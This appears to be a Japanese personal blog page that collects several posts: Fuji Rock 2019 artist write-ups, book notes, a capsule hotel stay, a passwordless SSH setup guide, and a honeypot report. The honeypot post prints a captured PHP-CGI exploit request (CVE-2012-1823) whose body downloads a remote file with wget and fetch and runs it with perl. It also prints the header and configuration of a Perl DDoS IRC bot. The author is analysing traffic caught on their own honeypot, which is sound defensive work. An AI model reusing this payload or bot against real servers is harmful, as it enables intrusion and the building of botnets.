【フジロック2019アーティスト紹介】THOM YORKE TOMORROW’S MODERN BOXES（トムヨーク トゥモローズ モダン ボクシーズ）
（画像引用：ラインナップ｜フジロックフェスティバル '19）
レディオヘッドのボーカルのトムヨーク率いるTHOM YORKE TOMORROW’S MODERN BOXESのご紹介です。
フジロックの公式のアーティスト紹介ページにもあるようにサウンドだけでなく、ヴィジュアルも良さげなので、個人的にはすごい楽しみです。
THOM YORKE,NIGEL GODRICHとTARIK BARRI3名のアーティストで構成されるサウンドとヴィジュアルを融合した体感型プロジェクトTOMORROW’S MODERN BOXES。
A Brain In a Bottle
A Brain in a Bottleの入りは繰り返すボワボワしたシンセの音から始まり、癖になるドラムがそれに続きます。
その後、さらに不気味なシンセの音も重なりトムヨークのささやくようなボーカルが入ります。
なんとも不気味な感じの曲で、癖になります。
フジロックという大自然の中で、これを聴いて酒に酔いたい感じですね。
Guess Again!
ピアノ、ドラムス、ボーカルというシンプルな構成の曲です。
シンプルですが、心地よくもグルーヴが効いていて、やはり酔っ払いながら聴きたい曲となっています。
歌詞が奥深い。 germanpops.blog85.fc2.com
Suspirium
Suspiriumは2018年にリリースされた最新作です。
ここちよいピアノのアルペジオっぽい音色がメインの曲になっていますが、途中フルートのような笛っぽい音色も流れ、これも心地よいです。
どこか暗い感じの曲で、フジロックの夜に合いそうですね。
やっぱ歌詞が奥深い。 jellyhead.hateblo.jp
The Mother Lode
The Mother Lodeは上で紹介した曲と大きく違って、テンポが早いです。 キック音も割とはっきりしていて、ノリのよい曲に仕上がっています。 全体的にテクノっぽいですね。
Interference
Interferenceは、とても幻想的な曲ですね。
ライブ映像で見るとより幻想的ですね。
ぜひ生で見たいところです。
まとめ
TOMORROW’S MODERN BOXESはしっぽりお酒を飲みながら、リラックスして聴きたいですね。
関連記事です。
CGI版PHPの脆弱性を狙ってDDoS攻撃のスクリプトを配置するアクセスをキャッチ
久しぶりに僕のハニーポットを見てみたら、面白いアクセスログがあったので紹介します。
そのアクセスはこちらにになります。
POST //cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Content-Length: 176
Content-Type: application/x-www-form-urlencoded
Host: -c
<? system("cd /tmp ; wget http://XXXXXX/unix ; ; fetch http://XXXXXX/unix ; ; perl unix ; rm -rf unix "); ?>
POSTリクエストの箇所がURLエンコードされているし、BODY部分を見てみると、思いっきりコマンドでunixファイルをダウンロードして、実行した後、削除しています。 怪しすぎます。。。
まずはURLエンコードされている箇所をデコードしてみます。
すると、こんな感じになります。
php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
これはPHPの脆弱性（CVE-2012-1823）を狙った攻撃であることがわかります。
こちらの記事が詳しいので、詳細はこちらでご確認ください。 blog.tokumaru.org
次に怪しげなunixというファイルを確認してみます。 非常に長いので、冒頭の部分のみ紹介しておきます。
#!/usr/bin/perl
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
#use strict;
use warnings;
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot v1.0 / 2016 modded by phl4nk ## [ Help ] #########################################
## Stealth MultiFunctional IrcBot writen in Perl #######################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##
## I'm not responsible for the illegal use of this program. ## !u @utils ##
######################################################################################################################
## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ###########################
######################################################################################################################
## !u @join <#channel> ## !u @udp1 <ip> <port> <time> ## !u @cback <ip> <port> ##
## !u @part <#channel> ## !u @udp2 <ip> <packet size> <time> ## !u @downlod <url+path> <file> ##
## !u !uejoin <#channel> ## !u @udp3 <ip> <port> <time> ## !u @portscan <ip> ##
## !u !op <channel> <nick> ## !u @tcp <ip> <port> <packet size> <time> ## !u @mail <subject> <sender> ##
## !u !deop <channel> <nick> ## !u @http <site> <time> ## <recipient> <message> ##
## !u !voice <channel> <nick> ## ## !u pwd;uname -a;id <for example> ##
## !u !devoice <channel> <nick> ## !u @ctcpflood <nick> ## !u @port <ip> <port> ##
## !u !nick <newnick> ## !u @msgflood <nick> ## !u @dns <ip/host> ##
## !u !msg <nick> ## !u @noticeflood <nick> ## ##
## !u !quit ## ## ##
## !u !uaw ## ## ##
## !u @die ## ## ##
## ## ## ##
######################################################################################################################
######################################################################################################################
#############################
##### [ Configuration ] #####
#############################
my @rps = ("/usr/local/apache/bin/httpd",
"/usr/sbin/httpd -k start",
"/usr/sbin/httpd",
"/usr/sbin/sshd -i",
"/usr/sbin/sshd",
"/usr/sbin/sshd -D",
"/usr/sbin/apache2 -k start",
"/sbin/syslogd",
"/sbin/klogd -c 1 -x -x",
"/usr/sbin/acpid",
"/usr/sbin/cron");
my $process = $rps[rand scalar @rps];
my @rversion = ("Phl4nk");
my $vers = $rversion[rand scalar @rversion];
my @rircname = ("zombie");
my $ircname = $rircname[rand scalar @rircname];
chop (my $realname = $rircname[rand scalar @rircname]);
my $nick =$rircname[rand scalar @rircname];
my $server = 'XXXXXX';
my $port = '6667';
my $linas_max='1';
my $sleep='5';
my $homedir = "/tmp";
my $version = 'v.02';
my @admins = ("local");
#my @hostauth = ("local");
my @channels = ("#dedibox");
my $pacotes = 1;
シェバンを確認すると、#!/usr/bin/perlとなっているので、perlスクリプトであることがわかります。 コメントを見ると、
This is a free program used on your own risk.
Created for educational purpose only.
I'm not responsible for the illegal use of this program.
これはあなたの責任においてフリーなプログラムです。 教育目的のためだけに作られました。 このプログラムの不法な使用に関して責任を負いません。
と記載があります。
また、
DDoS Perl IrcBot v1.0 / 2016
と記載されていることからDDoS用のスクリプトであることがわかります。
スクリプトを深く読み込んではいませんが、これを実行することで、どこかのサーバと通信を行い、なんらかの操作が実行されるようになるようです。
【フジロック2019アーティスト紹介】THE CHEMICAL BROTHERS（ケミカル・ブラザーズ）
そろそろ4月も後半に入り、フジロック2019まで3ヶ月を切ったということで、しっかりと予習していこうと思っているのですが、なかなか予習できていないっす。。。
そこで、僕の予習もかねて、このブログでフジロック2019に出演するアーティストを紹介できたらいいなーと思っています。
まず一発目は、
です。
（画像引用：ラインナップ｜フジロックフェスティバル '19）
もはや宣材写真が前衛すぎて、だれかわからん。笑 左がメガネをしているので、トム・ローランズさんで、右がエド・シモンズさんですね。
4/12に4年ぶりのアルバムを出した彼らですが、ひとまずApple Musicのトップソングから聴いていきます。 デジタル・ロックの王者 ケミカル・ブラザーズ、4年ぶり待望のニュー・アルバム『ノー・ジオグラフィー』発売！ - ケミカル・ブラザーズ
Go
PVがシュールでいいですね。 曲自体はラップがなくても、ベースとドラムだけでノリノリな曲に仕上がっていますが、そこにQティップさんのラップが乗ることで、さらにファンクな曲に仕上がっています。
歌詞の中で繰り返されている
Oh, no time to rest Just do your best
（あぁ、休む時間なんてない、ベストを尽くせ）
は最高のフレーズです。
Got to Keep On
次は4月に発売されたばかりのアルバムからです。 なんともケミカルブラザーズらしい曲になっています。 ドラムとベース、そしてきれいなベルの音やコーラスが絶妙に入り混じって、独特のグルーヴを生み出しています。
Wide Open
Wide OpenのPVは一人の姿を変えながらダンスをするというシンプルなのですが、芸術的で個人的には非常に好きなPVです。
こちらがメイキング動画です。
めちゃくちゃ大変そう！ www.youtube.com
曲の最初の入り方がドラムと柔らかいシンセの音から始まり、心地よい音色です。
とても癒される曲になっているので、ライブの真ん中らへんでブレイクダウンとしてやるのかなと想定しています。
Sometimes I Feel So Deserted
https://www.youtube.com/watch?v=saZVNLMMmmo
Sometimes I Feel So DesertedのPVはだいぶグロい動画になっています。。。 シンプルな音に女性の高いボーカルが入ることで、しまった曲になっています。
シンセの使い所も絶妙で聴いている側を飽きさせない曲となっています。
Hey Boy Hey Girl
ケミカルブラザーズと言えば、もうこの曲でしょう。 リリースされたのが1999年なのに、Apple Musicでもトップ5に入るなんて、もう名曲でしかないです。
歌詞はほぼ同じなのに、Here we goでサビに入るところは、何か弾ける感じがして、ぜひフジロックで聴いておきたい一曲です。
まとめ
僕が初めてケミカルブラザーズを知ったのは大学生のころで、こちらのPVを見て衝撃を受けました。
カセットテープを拾った二人が曲をかけると、勝手に体が動き出してしまい、その後ラジカセを持って街を歩くと他の人まで体が勝手に動いて、いろんなことをしてしまうというものなのですが、こんな感じでフジロックでも観客の体を勝手に動かす力を見せつけてほしいと思います。
パスワードなしでSSH接続する方法を図解する
これまでに何度となく、この方法でノンパスワードのSSH接続設定をやってきたか分からないのですが、毎回どっちでどっちの作業をやるんだっけってなるので、図解で整理しました。
初期状態
初期状態はSSHするサーバとSSHされるサーバが存在するだけです。
SSHするサーバ側で鍵を作成
次にSSHするサーバ側で公開鍵と秘密鍵のペアを作成します。 もう作成されている場合はスキップです。
コマンドはこんな感じ。 オプション「-t」で鍵タイプを指定します。 ここでは、rsaを指定しています。
ssh-keygen -t rsa
SSHするサーバ側で鍵ができる
すると、SSHするサーバ側で鍵が作成されます。 具体的には、~/.ssh配下にid_rsa（秘密鍵）とid_rsa.pub(公開鍵）が作成されます。
SSHされるサーバ側に公開鍵を転送
次にSSHされるサーバ側に公開鍵を転送します。 転送する方法はFTPでもSCPでも良いですが、要件に応じて転送方法を選びましょう。
authorized_keysに公開鍵情報を書き込み
次にSSHされるサーバのSSHしたいユーザの~/.ssh/authorized_keysに公開鍵情報を書き込みます。
コマンドはこんな感じ。
cat ~/id_rsa.pub >> authorized_keys
SSH接続確認
上記までできたら、SSH接続してみてパスワードなしでログインできることを確認します。
いつも流れを忘れてしまうので、今回はわかりやすく概要だけ図解してみました。 うまくいかない方はファイルの権限周りを確認してみてください。
【読書メモ】ほぼ俺か俺でしょ『俺か、俺以外か。ローランドという生き方』
ローランドさんの『俺か、俺以外か』を読んだ。
僕がこの本を購入した理由は、最近ローランドという人物が気になっていたからです。
最近ネットサーフィンしていても何かしらローランドの情報が入ってきて、ローランドさんの思考が気になって、読んでみることにしました。
GoogleTrendsでローランドと検索してみると、2018年6月くらいからトレンドになっているようで、まさに今が旬という人物です。 （ローランドさんからすると、今が旬というより、ようやくローランドという男に世界が追いついてきたと言われそうですが。。。）
この本について、結論からいえば、普段から自信がない僕とは真逆の価値観で、俺、俺、俺という感じでした。
何か世界のケイスケホンダに似たような良い意味で自己中心的な価値観、これは僕にまだまだ不足している力だと感じました。
10番をつけるチャンスが目の前にあって、違う番号を選びますかっていう話ですよ。僕はそのチャンスが目の前にあって、喜んで自分から要求しましたし、そのときに選ぶときにプレッシャーのことは何も考えなかったです。 本田圭佑 ACミラン 入団会見 - YouTube
こちらが絶対にボールを譲らないケイスケホンダさん。
女性の好きなタイプについて
僕がこの本で印象に残ったのは、ローランドさんの好きな女性のタイプについて記載されている箇所です。
僕もうれしいことに女性とお食事をしたり、合コンにさそわれたりすることがあります。
そのときによく聞かれるし、僕からも聞く質問。
「好きなタイプはどんな人？」
この質問に僕はいっつも適当に答えつつも、悩んでいました。
髪が長い人が好きなときもあるし、短髪な人がすきなときもあるし、おしとやかな人を好きになることもあれば、喜怒哀楽が激しい人を好きになることもあります。
つまり、タイプなんかないんです。
そんなとき、ローランドさんの言葉が胸に突き刺さりました。
「相手に求めることは、ただひとつ。俺のことを、心から魅了してほしい」そう答えている。容姿も収入も家柄も、別になんだっていい。とにかく俺を心から魅了してほしい。説明なんてできないぐらい、ハマらせてほしい。それだけだ。条件付きの好きは、本当の好きじゃない。説明できない好きが、本当の好きなのだ。
まさに本質。
僕が求めていた回答がそこにはありました。
僕を心から魅了できる女性。
当たり前のようだけど、簡単にはできないこと。
僕は今度から「どんな人がタイプですか？」と聞かれたら、「俺のことを心から魅了させてくれる女性」と答えることに決めました。
絶対キモいやつと思われるけど、本質をついている言葉なので、こう答えることに決めました。
過去を嘆く人は、努力が足りないひと
もう一つ僕が心に刺さったローランドさんの言葉を紹介しよう。
人が見ていないところで格好つけられない奴が、どうして人が見ているときに格好つけられるんですか？と。 人がみていないときこそ、格好つけるのだ。
常にカッコいい自分でいること。
これは非常に大切なことだと思います。
だらしない格好で魅力的な女性に会ったものなら、最悪です。
常に自分の最高の状態でいる。このマインドは心に刻みたいと思います。
まとめ
俺なんだ！そういう生き方をしてこなかった僕でしたが、この本を読んでマインドに少し変化がありました。
急には変わらないですが、徐々に俺か、俺以外かという精神が宿ってきています。
普段自分に自信がない方にはおすすめの一冊です。
- 作者: ROLAND
- 出版社/メーカー: KADOKAWA
- 発売日: 2019/03/11
- メディア: 単行本
- この商品を含むブログを見る
インプット・アウトプットする時間が減ったのでカプセルホテルに泊まった話
最近インプット・アウトプットの時間が少ないなーと感じていたので、その原因と対策について語ります。
インプット・アウトプットが少ない原因
僕が思うに、インプット・アウトプットが少ない原因は自宅環境にあります。
それはPS4です。
仕事から帰ってご飯を食べると、どうしてもPS4でゲームをしてしまいます。 ゲームをしているときは、特に考え事をせずにだらだらと過ごすことができて楽なのですが、なんとも生産的ではないです。 別にeスポーツのプロではないのに、ただひたすらゲームをしてしまいます。 あっという間に時間が過ぎ、いつの間にか寝る時間になってしまう。 そんな日々を繰り返ていました。
ゲームをストレス解消になれば、良いのですが実際そこまでストレスは解消されていないのが、現実です。
インプット・アウトプットを増やすための対策
そこで僕が講じた対策はPS4のない環境に身を置くという対策をとりました。 あえて、ゲームの無い環境で過ごして、そこでひたすら溜まりに溜まった本やブログの記事を書くことにしました。
僕が選んだ場所は最初は家の近くのホテルを探したのですが、結構値段的にも高かったこともあり、結局は荻窪の「安心お宿プレミア」というカプセルホテルをチョイスしました。
なんと価格は1泊4,980円！しかも15:00にチェックインして、翌日の15:00まで滞在できる！
正直カプセルホテルに宿泊したことがなかった僕にとっては、どんなもんか不安でしたが、正直最高でした！
「安心お宿プレミア」の良いところ
「安心お宿プレミア」の良いところは、なんといっても作業スペースがあるところです。 寝る場所だけでなく、電源やWi-Fiがある作業スペースがあり、そこでパソコン作業することもできるし、読書することもできます。
作業に疲れたら、同じ場所にあるマッサージチェアを使ってリラックスすることも可能です。 もちろんソフトドリンクは飲み放題です。
それに人工温泉があって、温泉に浸かって、ゆっくりすることもできます。 併設されているミストサウナも最高でした。
しかも朝食はカレーが食べ放題！僕はめちゃめちゃ食べました。
「安心お宿プレミア」に宿泊してみての結果
結果、溜まりに溜まった本も読むこともできましたし、パソコン作業もかなり捗りました。
5,000円でインプット・アウトプットの時間が確保できて、しかも温泉やミストサウナに入ることができる、素敵すぎる！
今後も定期的に通いたいと思います！
【読書メモ】コスパ最強のストイックさを呼び起こす本『ブチ抜く力』
与沢翼さんの『ブチ抜く力』を読んだ感想です。 正直与沢さんにブチ抜かれました。笑
- 作者: 与沢翼
- 出版社/メーカー: 扶桑社
- 発売日: 2019/03/02
- メディア: 単行本（ソフトカバー）
- この商品を含むブログを見る
「甘え」を設けず、ストイックに突き進む
僕がこの本を読んで最も印象に残ったのは、第1章の箇所でした。
「昨日は深夜残業でつかれたから、今日の筋トレはやめておこう」 「今日は恋人の誕生日だから、フルコースのディナーを食べても仕方がない。今日だけは炭水化物を食べてもOK」 「今日は上司にたくさん怒られて嫌な日だったから、ちょっと甘いものでも食べて元気を出そう」 どうでしょうか？何らかの理由をつけて、自分が設定したルールを変えてしまう。こういう経験はないでしょうか。 でも、残念がら、こうした「言い訳」こそ、あなたがブチ抜いた存在になれない理由だと思います。
この文章はまさしく僕の心をブチ抜きました。 僕は何らかの理由をつけて、自分で決めたことができないことが多いです。 それは上記のようなことばかりです。
ぼくにはストイックさが足りないのです。 ストイックに自分を追い込む。そういったことがここ最近はほとんどないのです。 それでも過去を振り返ってみたときに、僕がストイックになったときがあります。
それは高校のときでした。 200人くらいいた同級生の中で、一番はじめに受けたテストでたしか140位と後ろの方で非常に悔しい思いをしました。 中学生のときは、トップ10の成績だったので、このときの屈辱は半端ないものでした。
そこから僕は狂ったように勉強をしました。寝る、食べる、トイレ以外自宅にいるときは、ほとんど勉強。そんな日々を続けました。 そうして、僕は次のテストで、2位という順位を勝ち取ることができました。（1位じゃないのが非常にくやしかったのですが。。。） そこから同じことを繰り返して、常にトップ5位をキープすることができました。
このときは僕はまさしくストイックでした。 言い訳もせず、勉強をしまくりました。
今は疲れたら、すぐ休むし、家に帰ったらすぐゲームしてしまうし、テレビをだらだらとみてしまうし、ストイックさに非常にかけています。 もっとストイックにならなければ、そんな焦りがあります。
とことん自分を限界まで追い込む。そして、結果を出す。 この思いを自分に呼び起こすことができた点だけでも、1,600円でこの本を買った価値はあります。
情報収集も3週間。「一人突っ込み」を繰り返し、センターピンを掴まえろ！
次にこの本で印象に残ったのは、最後の部分で語られている与沢さんの情報収集のやり方についての箇所でした。 そのやり方はざっくり言うと、下記のようなものでした。
- 1週目「全体像を把握する」
- 2週目「推論を立てる」
- 3週目「センターピンを設定する」
与沢さんがセンターピンと呼んでいるものは、物事の本質のことです。 ここでポイントなのは、自分が本質と思っているものに対して、誤りや矛盾がないか、ひたすら自問自答するということです。 その中で間違っていた場合は、もう一度情報収集するというものです。
一人突っ込み自体、なかなかできるものではありません。 自分が一度正しいと思ったら、他の意見はあまり気にしない性格なので、一人突っ込みは効果的だと思いました。
まとめ
正直、この本を読むまでは与沢さんのことを胡散臭い人だと思っていましたが、今はそんなことは微塵も感じません。 この人なら何度失敗しても何度も立ち上がるだろう、そう感じました。
僕もどこまでブチ抜けるかわかりませんが、ブチ抜いた存在になれるようストイックに生きていきます。 正直ここまでドッグイヤーをつけた本は久しぶりでした。
先でも説明しましたが、これで1,600円は下手なセミナーに参加するより効果的だと思います。
